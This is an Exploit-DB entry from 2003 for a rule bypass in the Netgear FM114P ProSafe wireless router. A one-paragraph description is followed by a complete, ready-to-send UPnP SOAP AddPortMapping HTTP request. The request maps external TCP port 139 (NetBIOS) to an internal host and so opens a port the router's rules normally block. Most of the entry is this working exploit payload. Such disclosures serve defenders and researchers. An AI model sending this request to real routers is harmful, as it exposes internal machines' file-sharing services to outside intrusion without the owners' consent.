NETGEAR FM114P ProSafe Wireless Router - Rule Bypass

EDB-ID:

22455

CVE:


Author:

stickler

Type:

remote

Platform:

Hardware

Published:

2003-04-03

source: http://www.securityfocus.com/bid/7270/info

The Netgear FM114P allows certain ports to be blocked, both for external users attempting to enter the local network and for local users connecting to the WAN. If Remote Access and Universal Plug and Play are both enabled on the WAN interface, a UPnP SOAP request can cause a connection to be intitiated through a port that is normally blocked. 

POST /upnp/service/WANPPPConnection HTTP/1.1
Content-Type: text/xml; charset="utf-8"
SOAPAction: "urn:schemas-upnp-org:service:WANPPPConnection:1#AddPortMapping"
User-Agent: Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)
Host: 192.168.0.1
Content-Length: 1123
Connection: Keep-Alive
Pragma: no-cache

<?xml version="1.0"?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewRemoteHost xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="string"></NewRemoteHost>
<NewExternalPort xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="ui2">139</NewExternalPort>
<NewProtocol xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="string">TCP</NewProtocol>
<NewInternalPort xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="ui2">139</NewInternalPort>
<NewInternalClient xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="string">192.168.0.6</NewInternalClient>
<NewEnabled xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="boolean">1</NewEnabled>
<NewPortMappingDescription xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="string">NetBios</NewPortMappingDescription>
<NewLeaseDuration xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="ui4">0</NewLeaseDuration>
</m:AddPortMapping>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>